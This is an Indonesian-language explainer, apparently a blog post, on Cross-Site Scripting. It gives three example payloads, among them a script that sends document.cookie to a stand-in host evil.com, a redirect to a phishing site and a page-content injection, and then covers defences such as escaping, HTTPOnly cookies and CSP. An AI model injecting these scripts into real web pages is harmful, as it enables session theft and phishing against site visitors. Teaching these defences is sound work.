Cross-Site Scripting (XSS) adalah jenis serangan keamanan di mana penyerang menyisipkan skrip berbahaya ke dalam konten web yang kemudian dijalankan di browser pengguna lain. XSS memungkinkan penyerang untuk mencuri data sensitif, seperti cookie dan session ID, atau mengelola konten aplikasi web dengan cara yang tidak sah. Serangan ini terjadi ketika aplikasi web tidak cukup memvalidasi atau menyaring input dari pengguna sebelum menampilkannya kembali di halaman web.
Contoh Serangan XSS
-
Pencurian Cookie
Salah satu contoh serangan XSS adalah pencurian cookie. Misalnya, jika penyerang menyisipkan skrip berbahaya di dalam komentar atau input form yang kemudian ditampilkan di halaman web, skrip tersebut dapat mengakses cookie pengguna dan mengirimkannya ke server milik penyerang.
Contoh payload XSS yang digunakan dalam serangan ini adalah:
<script> var img = new Image(); img.src = "http://evil.com/steal?cookie=" + document.cookie; </script>
Ketika skrip ini dieksekusi di browser korban, cookie yang disimpan di browser akan dikirim ke server penyerang, memungkinkan mereka untuk mencuri data sensitif.
-
Pengalihan Pengguna
Penyerang dapat menggunakan XSS untuk mengarahkan pengguna ke situs web berbahaya. Misalnya, skrip berikut ini dapat digunakan untuk mengalihkan pengguna ke situs phishing:
<script> window.location = "http://phishing-site.com"; </script>
Jika skrip ini disisipkan di halaman yang sering dikunjungi pengguna, mereka akan secara otomatis diarahkan ke situs phishing tanpa disadari.
-
Modifikasi Konten Halaman
Dalam serangan ini, penyerang menyisipkan skrip yang mengubah konten halaman web. Misalnya, penyerang dapat menyisipkan skrip yang mengubah tampilan halaman atau menambahkan elemen berbahaya:
<script> document.body.innerHTML += '<div>Content injected by XSS!</div>'; </script>
Ini dapat digunakan untuk menipu pengguna dengan konten palsu atau berbahaya.
Cara Menghindari Serangan XSS
-
Validasi dan Sanitasi Input
Selalu validasi dan sanitasi input dari pengguna. Gunakan whitelist untuk menentukan input yang diperbolehkan dan bersihkan karakter-karakter yang tidak diinginkan.
-
Gunakan Escape Output
Pastikan untuk melakukan escaping output sebelum menampilkannya di halaman web. Ini mencegah kode berbahaya dari dijalankan oleh browser. Misalnya, gunakan metode seperti
htmlspecialchars
di PHP untuk menghindari XSS:echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
-
Gunakan HTTPOnly dan Secure Cookies
Dengan mengatur atribut
HTTPOnly
pada cookie, Anda mencegah akses cookie dari skrip JavaScript. AtributSecure
memastikan cookie hanya dikirim melalui koneksi HTTPS. -
Implementasikan Content Security Policy (CSP)
CSP adalah header HTTP yang memungkinkan Anda untuk menentukan sumber daya yang diizinkan untuk dimuat di halaman web Anda. Ini dapat membantu mencegah pemuatan skrip berbahaya dari sumber yang tidak dikenal.
Referensi
- OWASP Foundation. (2023). Cross-Site Scripting (XSS). OWASP XSS
- Acunetix. (2023). Cross-Site Scripting (XSS) Attack Examples. Acunetix XSS
- Mozilla Developer Network. (2023). Cross-Site Scripting (XSS). MDN XSS
Tidak ada komentar